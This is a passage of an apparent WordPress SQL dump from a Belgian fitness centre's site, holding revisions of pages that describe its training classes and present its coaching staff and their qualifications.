5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-06-16 14:44:31', '2013-06-16 14:44:31', '', 11, 'http://www.crosstrainingcenter.be/?p=127', 0, 'revision', '', 0),
(128, 1, '2013-05-24 14:36:30', '2013-05-24 14:36:30', 'blabla', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2013-05-24 14:36:30', '2013-05-24 14:36:30', '', 20, 'http://www.crosstrainingcenter.be/?p=128', 0, 'revision', '', 0),
(129, 1, '2013-06-16 14:50:56', '2013-06-16 14:50:56', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2013-06-16 14:50:56', '2013-06-16 14:50:56', '', 20, 'http://www.crosstrainingcenter.be/?p=129', 0, 'revision', '', 0),
(130, 1, '2013-06-16 14:55:43', '2013-06-16 14:55:43', '', 'rg', '', 'inherit', 'open', 'open', '', 'rg', '', '', '2013-06-16 14:55:43', '2013-06-16 14:55:43', '', 20, 'http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg', 0, 'attachment', 'image/jpeg', 0),
(131, 1, '2015-04-21 09:33:20', '2015-04-21 09:33:20', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\n&lt;tbody&gt;\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\n&lt;div class=\&quot;arrondi\&quot;&gt;\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\n&lt;tbody&gt;\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;97\&quot; height=\&quot;127\&quot; /&gt;&lt;/td&gt;\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\n&lt;h5&gt;Gérante\nCoach\nDiététicienne&lt;/h5&gt;\n&lt;ul&gt;\n	&lt;li&gt;Baccalauréat en diététique&lt;/li&gt;\n	&lt;li&gt;Spécialisation en diététique du sport&lt;/li&gt;\n	&lt;li&gt;Enseignante en éducation nutritionnelle&lt;/li&gt;\n	&lt;li&gt;Pratiquante de judo, natation et cyclisme&lt;/li&gt;\n&lt;/ul&gt;\n&lt;/td&gt;\n&lt;/tr&gt;\n&lt;/tbody&gt;\n&lt;/table&gt;\n&lt;/div&gt;&lt;/td&gt;\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\n&lt;div class=\&quot;arrondi\&quot;&gt;\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\n&lt;tbody&gt;\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\n&lt;h5&gt;Fondateur Pierrard Sports\nFormateur coach\nCoach&lt;/h5&gt;\n&lt;ul&gt;\n	&lt;li&gt;LesMills Coach&lt;/li&gt;\n	&lt;li&gt;Licence en éducation physique&lt;/li&gt;\n	&lt;li&gt;Diplôme universitaire en préparation physique et entrainement des sportifs&lt;/li&gt;\n	&lt;li&gt;Maitre assistant à l’IES Parnasse-ISEI&lt;/li&gt;\n	&lt;li&gt;Préparateur physique&lt;/li&gt;\n	&lt;li&gt;Pratiquant de course à pied, natation et cyclisme&lt;/li&gt;\n&lt;/ul&gt;\n&lt;/td&gt;\n&lt;/tr&gt;\n&lt;/tbody&gt;\n&lt;/table&gt;\n&lt;/div&gt;&lt;/td&gt;\n&lt;/tr&gt;\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\n&lt;div class=\&quot;arrondi\&quot;&gt;\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\n&lt;tbody&gt;\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone  wp-image-420\&quot; alt=\&quot;youssra_boujat_pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/05/youssra_boujat_pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;141\&quot; /&gt;&lt;/td&gt;\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\n&lt;h2&gt;Youssra Boujat&lt;/h2&gt;\n&lt;h5&gt;Instructeur de Zumba Fitness&lt;/h5&gt;\n&lt;ul&gt;\n	&lt;li&gt;Etudiante infirmière à l\'HENALLUX&lt;/li&gt;\n	&lt;li&gt;Basketteuse au Belfius Namur Capital&lt;/li&gt;\n	&lt;li&gt;Pratiquante de courses à pieds et de fitness&lt;/li&gt;\n&lt;/ul&gt;\n&lt;/td&gt;\n&lt;/tr&gt;\n&lt;/tbody&gt;\n&lt;/table&gt;\n&lt;/div&gt;&lt;/td&gt;\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\n&lt;div class=\&quot;arrondi\&quot;&gt;\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\n&lt;tbody&gt;\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-237 alignleft\&quot; alt=\&quot;mathieu_gille-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\n&lt;h5&gt;Coach&lt;/h5&gt;\n&lt;ul&gt;\n	&lt;li&gt;Préparateur physique en sport collectif et individuel&lt;/li&gt;\n	&lt;li&gt;Brevet A de l’URBSFA&lt;/li&gt;\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et golf&lt;/li&gt;\n&lt;/ul&gt;\n&lt;/td&gt;\n&lt;/tr&gt;\n&lt;/tbody&gt;\n&lt;/table&gt;\n&lt;/div&gt;&lt;/td&gt;\n&lt;/tr&gt;\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\n&lt;div class=\&quot;arrondi\&quot;&gt;\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\n&lt;tbody&gt;\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-232 alignleft\&quot; alt=\&quot;bertrand_bauwin-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\n&lt;h5&gt;Coach&lt;/h5&gt;\n&lt;ul&gt;\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\n	&lt;li&gt;Spécialisation en psychomotricité&lt;/li&gt;\n	&lt;li&gt;Préparateur physique et entraineur de football diplômé de l’URBSFA&lt;/li&gt;\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et VTT&lt;/li&gt;\n&lt;/ul&gt;\n&lt;/td&gt;\n&lt;/tr&gt;\n&lt;/tbody&gt;\n&lt;/table&gt;\n&lt;/div&gt;&lt;/td&gt;\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\n&lt;div class=\&quot;arrondi\&quot;&gt;\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\n&lt;tbody&gt;\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-236 alignleft\&quot; alt=\&quot;julien_meulemans-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\n&lt;h5&gt;Coach&lt;/h5&gt;\n&lt;ul&gt;\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\n	&lt;li&gt;Maitre psychomotricien&lt;/li&gt;\n	&lt;li&gt;Formation de personal trainer&lt;/li&gt;\n	&lt;li&gt;Formation en Streching Global Actif (SGA)&lt;/li&gt;\n	&lt;li&gt;Formation à l’initiation au golf et snag golf&lt;/li&gt;\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\n	&lt;li&gt;Pratiquant de foot et de ski&lt;/li&gt;\n&lt;/ul&gt;\n&lt;/td&gt;\n&lt;/tr&gt;\n&lt;/tbody&gt;\n&lt;/table&gt;\n&lt;/div&gt;&lt;/td&gt;\n&lt;/tr&gt;\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\n&lt;div class=\&quot;arrondi\&quot;&gt;\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\n&lt;tbody&gt;\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-390\&quot; alt=\&quot;chloe_chmiel_pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/05/chloe_chmiel_pti.jpg\&quot; width=\&quot;108\&quot; /&gt;&lt;/td&gt;\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\n&lt;h2&gt;Chloé Chmiel&lt;/h2&gt;\n&lt;h5&gt;Coach&lt;/h5&gt;\n&lt;ul&gt;\n	&lt;li&gt;Master en kinésithérapie&lt;/li&gt;\n	&lt;li&gt;Spécialisation en kinésithérapie sportive et thérapie manuelle&lt;/li&gt;\n	&lt;li&gt;Kiné Nat.3 basket de Belgrade&lt;/li&gt;\n	&lt;li&gt;Pratiquante de course à pied et danses sportives&lt;/li&gt;\n&lt;/ul&gt;\n&lt;/td&gt;\n&lt;/tr&gt;\n&lt;/tbody&gt;\n&lt;/table&gt;\n&lt;/div&gt;&lt;/td&gt;\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;&lt;/td&gt;\n&lt;/tr&gt;\n&lt;/tbody&gt;\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-autosave-v1', '', '', '2015-04-21 09:33:20', '2015-04-21 09:33:20', '', 20, 'http://www.crosstrainingcenter.be/?p=131', 0, 'revision', '', 0),
(132, 1, '2013-06-16 14:55:32', '2013-06-16 14:55:32', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2013-06-16 14:55:32', '2013-06-16 14:55:32', '', 20, 'http://www.crosstrainingcenter.be/?p=132', 0, 'revision', '', 0),
(136, 1, '2013-06-16 15:00:45', '2013-06-16 15:00:45', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2013-06-16 15:00:45', '2013-06-16 15:00:45', '', 20, 'http://www.crosstrainingcenter.be/?p=136', 0, 'revision', '', 0),
(133, 1, '2013-06-16 14:57:50', '2013-06-16 14:57:50', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2 class=\&quot;arrondi\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\n\r\nCoatch\r\n\r\nDiététicienne&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2013-06-16 14:57:50', '2013-06-16 14:57:50', '', 20, 'http://www.crosstrainingcenter.be/?p=133', 0, 'revision', '', 0),
(134, 1, '2013-06-16 14:59:12', '2013-06-16 14:59:12', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;h2 class=\&quot;arrondi\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2013-06-16 14:59:12', '2013-06-16 14:59:12', '', 20, 'http://www.crosstrainingcenter.be/?p=134', 0, 'revision', '', 0),
(135, 1, '2013-06-16 15:00:22', '2013-06-16 15:00:22', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2013-06-16 15:00:22', '2013-06-16 15:00:22', '', 20, 'http://www.crosstrainingcenter.be/?p=135', 0, 'revision', '', 0),
(137, 1, '2013-06-16 15:02:45', '2013-06-16 15:02:45', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; 